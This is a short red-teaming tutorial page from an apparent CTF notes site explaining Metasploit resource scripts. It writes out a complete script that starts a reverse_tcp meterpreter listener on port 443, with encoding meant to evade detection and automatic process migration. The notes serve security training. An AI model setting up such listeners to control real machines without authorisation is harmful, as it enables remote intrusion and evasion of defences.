> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/command-and-control-c2/metasploit/automation.md).

# Automation

Metasploit **resource scripts** can automate the operations in msfconsole, just like gdbscripts. For example, save the following resource script as `setup.rc`:

```
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 443
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set AutoRunScript post/windows/manage/migrate 
set ExitOnSession false
exploit -j -z
```

Execute it with the `-r` flag (which stands for "resource"):

```shell
msfconsole -r setup.rc
```
